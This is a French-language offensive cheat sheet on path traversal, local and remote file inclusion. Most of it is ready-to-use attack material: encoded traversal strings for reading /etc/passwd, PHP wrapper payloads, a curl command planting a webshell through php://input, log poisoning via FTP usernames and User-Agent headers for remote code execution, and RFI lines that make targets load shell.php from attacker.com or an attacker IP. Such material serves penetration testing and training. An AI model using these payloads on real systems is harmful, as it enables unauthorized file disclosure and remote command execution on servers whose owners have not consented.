📁Path Traversal / LFI / RFI
Outils dédiés aux path traversals et local file inclusion
Liffy
Liffy est un outil d'exploitation de vulnérabilités de type LFI complet allant de l'utilisation des wrappers PHP à l'exploitation de log poisoning.
ressource: https://github.com/mzfr/liffy
LFISuite
LFI Suite est un outil totalement automatique capable d'analyser et d'exploiter les vulnérabilités d'inclusion de fichiers locaux en utilisant de nombreuses méthodes d'attaque différentes.
ressource: https://github.com/D35m0nd142/LFISuite
LighTraversal
LighTraversal est un outil permettant de vérifier si il existe une vulnérabilité de path traversal dans une (liste d') url.
ressource: https://github.com/mathis2001/LighTraversal
Manuel
Encoding:
sans simple double
: 3A %253A
/ 2F %252F
. 2E %252E
- 2D %252D
= 3D %253D
Exemples
/etc/passwd
../../../etc/passwd
....//....//....//etc//passwd
..///////..///////..///////etc///////passwd
..%5c..%5c..%5cetc%5cpasswd
.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./etc/passwd
..%253f..%253f..%253fetc%253fpasswd
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd
/var/www/images/../../../etc/passwd
Null byte (%00)
Les anciennes versions de PHP sont vulnérable au Null byte permettant de ne pas prendre en compte tout ce qui est derrière celui-ci dans l'url.
Exemple pour une LFI:
On a un site qui ajoute des extensions automatiquement sur chaque uri
/target.com/index.php?page=../../../etc/passwd
devient
/target.com/index.php?page=../../../etc/passwd.php
ce qui donnera une erreur car passwd.php n'existe pas.
alors qu'avec le null byte,
/target.com/index.php?page=../../../etc/passwd%00
deviendra
/target.com/index.php?page=../../../etc/passwd%00.php
Ici ".php" ne sera pas pris en compte et le fichier passwd sera bien affiché.
Wrapper
il existe aussi avec php plusieurs wrappers permettant dans certains cas de soutirer des informations à une page tel que sont code source par exemple mais on peut aussi s'en servir pour uploads des fichiers et obtenir des RCE.
Voici quelques exemples de wrappers utilisés par PHP:
//Wrapper php filter
/target.com/index.php?page=php://filter/read=string.rot13/resource=index.php
/target.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
/target.com/index.php?page=php://Filter/convert.base64-encode/resource=index.php
//Wrapper data
data://text/plain,<?php info();?>
data://text/plain;base64,<payloadbase64>
//Wrapper expect
expect://id
expect://ls
//Wrapper zip
zip://shell.jpg%23payload.php
//Wrapper input
php://input
exemple:
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id"
...
RCE via LFI + Log Poisoning
Prérequis: Avoir un paramètre vulnérable aux inclusions de fichiers locaux
Essayez d'accéder à des fichiers de logs.
ressource: https://github.com/mathis2001/Wordlists/tree/main/LFI/LogFiles
1.1. Si cela fonctionne, essayez d'injecter un payload via un paramètre ou un header logé
exemple: User-agent: <?php system($_GET["cmd"]); ?> ou dans l'url, ?param=<?php system($_GET["cmd"]); ?>
2. Scanner les ports de la machine à la recherche de service FTP, SSH, SMTP ou MySQL (+ version si possible pour connaitre potentiellement le nom du fichier de log et son emplacement).
2.1. Essayez d'accéder au fichier qui log les interactions avec ces services.
2.2. Si il y en a un d'accessible, essayer d'entrer votre payload en temps que nom d'utilisateur à la connexion.
2.3. Accédez au fichier de log et exécutez votre payload
Exemple pour un fichier /var/log/vsftpd.log.
$ ftp <target IP>
Connected to ...
220 (vsFTPd X.X.X)
Username: <?php system($_GET["cmd"]); ?>
...
Password: blabla
530 Login incorrect
Login Failed.
#Dans l'url
https://target.com/exemple.php?page=/var/log/vsftpd.log&cmd=id
Quelques tips
vérifier: file:|pwd
vérifier un possible contournement de filtre avec des ?:
le trick ici de de faire en sorte que le seul match possible est celui auquel vous pensez?
Par exemple, vous ne pouvez pas appeler /tmp avec /??? car il y a /etc qui contient le même nombre de caractères.
Par contre si vous entrez ceci,
/e??
/?t?
/??c
le seul répertoire possible cera /etc.
Plutôt que bin/cat etc/passwd il est possible d'utiliser:
/???/??t%20/???/???s?d
LFI sur serveur Windows
/../../c:/windows/system32/drivers/etc/hosts
C:%5Cwindows%5CSystem32%5Cinetsrv%5Cconfig%5CapplicationHost.config
Chemin relatif a partir du repertoire courant (cwd) du drive C
C:path\to\file.txt
Si file:///etc/passwd est bloqué dans l'url, essayer d'utiliser la fonctionnalité view-source du navigateur (view-source:file:///etc/passwd)
Nginx
https://target.com///////../../../etc/passwd
Ruby on rails / Django / NodeJs dans header Accept:
../../../../../../../../../../etc/passwd{{
../../../../../../../../../../etc/passwd{%0D
../../../../../../../../../../etc/passwd{%0A
../../../../../../../../../../etc/passwd{%00
../../../../../../../../../../etc/passwd{%0D{{
../../../../../../../../../../etc/passwd{%0A{{
../../../../../../../../../../etc/passwd{%00{{
NodeJS filter bypass
https://target.com/blabla/NN/secret
https://www.compart.com/fr/unicode/U+FF2E
RFI
Exemples avec le webshell shell.php = <?php system($_GET["cmd"]); ?>
HTTP
Exemple de RFI via protocole HTTP
#Création du serveur HTTP
$ python3 -m http.server <LISTENING_PORT>
#Dans l'url du site
https://target.com/exemple.php?page=http://attacker.com:<port>/shell.php&cmd=id
FTP
Exemple de RFI via protocole FTP
#Création du serveur FTP
$ python -m pyftpdlib -p 21
#Dans l'url du site
https://target.com/exemple.php?page=ftp://attacker.com/shell.php&cmd=id
SMB
Exemple de RFI via protocole SMB
#Création du serveur SMB
$ impacket-smbserver -smb2support share $(pwd)
#Dans l'url du site
https://target.com/exemple.php?page=//<ATTACKER_IP>/shell.php&cmd=id
Trouver des paramètres
$ waybackurls target.com | gf lfi | tee -a lfi.txt
Dernière mise à jour
Cet article vous a-t-il été utile ?